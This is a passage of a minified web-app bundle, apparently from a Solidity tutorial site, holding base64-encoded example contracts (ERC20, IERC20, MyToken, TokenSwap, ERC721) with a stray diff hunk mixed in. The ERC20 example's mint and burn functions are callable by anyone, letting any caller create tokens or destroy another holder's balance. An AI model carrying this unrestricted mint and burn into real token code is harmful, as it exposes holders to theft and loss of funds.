wogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQyNTYgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50MjU2IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],_j=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        ERC20 tokens provide functionalities to

        • transfer tokens
          • @@ -1441,7 +1441,7 @@ How to swap tokens require(sent, "Token transfer failed"); } } -`,Lj=({prev:s,next:a})=>r.jsx(u,{version:Ej,title:Uj,description:Tj,html:Dj,prev:s,next:a,codes:Qj}),_j="0.8.24",Oj="ERC721",Pj="Example of ERC721 non fungible token in Solidity",$j=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBnZXRBcHByb3ZlZCh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvcGVyYXRvcik7CiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIF9hcHByb3ZlZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgb3BlcmF0b3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJRVJDNzIxUmVjZWl2ZXIgewogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkM3MjEgaXMgSUVSQzcyMSB7CiAgICBldmVudCBUcmFuc2ZlcigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwgYm9vbCBhcHByb3ZlZAogICAgKTsKCiAgICAvLyBNYXBwaW5nIGZyb20gdG9rZW4gSUQgdG8gb3duZXIgYWRkcmVzcwogICAgbWFwcGluZyh1aW50MjU2ID0+IGFkZHJlc3MpIGludGVybmFsIF9vd25lck9mOwoKICAgIC8vIE1hcHBpbmcgb3duZXIgYWRkcmVzcyB0byB0b2tlbiBjb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIGludGVybmFsIF9iYWxhbmNlT2Y7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIGFwcHJvdmVkIGFkZHJlc3MKICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfYXBwcm92YWxzOwoKICAgIC8vIE1hcHBpbmcgZnJvbSBvd25lciB0byBvcGVyYXRvciBhcHByb3ZhbHMKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkpIHB1YmxpYyBpc0FwcHJvdmVkRm9yQWxsOwoKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkCiAgICAgICAgICAgIHx8IGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQyNTYgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcihhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBzcGVuZGVyID09IG93bmVyIHx8IGlzQXBwcm92ZWRGb3JBbGxbb3duZXJdW3NwZW5kZXJdCiAgICAgICAgICAgICAgICB8fCBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],qj=`

          Example of ERC721

          +`,Lj=({prev:s,next:a})=>r.jsx(u,{version:Dj,title:Tj,description:Uj,html:_j,prev:s,next:a,codes:Qj}),Oj="0.8.24",Pj="ERC721",$j="Example of ERC721 non fungible token in Solidity",qj=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBnZXRBcHByb3ZlZCh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvcGVyYXRvcik7CiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIF9hcHByb3ZlZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgb3BlcmF0b3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJRVJDNzIxUmVjZWl2ZXIgewogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkM3MjEgaXMgSUVSQzcyMSB7CiAgICBldmVudCBUcmFuc2ZlcigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwgYm9vbCBhcHByb3ZlZAogICAgKTsKCiAgICAvLyBNYXBwaW5nIGZyb20gdG9rZW4gSUQgdG8gb3duZXIgYWRkcmVzcwogICAgbWFwcGluZyh1aW50MjU2ID0+IGFkZHJlc3MpIGludGVybmFsIF9vd25lck9mOwoKICAgIC8vIE1hcHBpbmcgb3duZXIgYWRkcmVzcyB0byB0b2tlbiBjb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIGludGVybmFsIF9iYWxhbmNlT2Y7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIGFwcHJvdmVkIGFkZHJlc3MKICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfYXBwcm92YWxzOwoKICAgIC8vIE1hcHBpbmcgZnJvbSBvd25lciB0byBvcGVyYXRvciBhcHByb3ZhbHMKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkpIHB1YmxpYyBpc0FwcHJvdmVkRm9yQWxsOwoKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkCiAgICAgICAgICAgIHx8IGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3Zh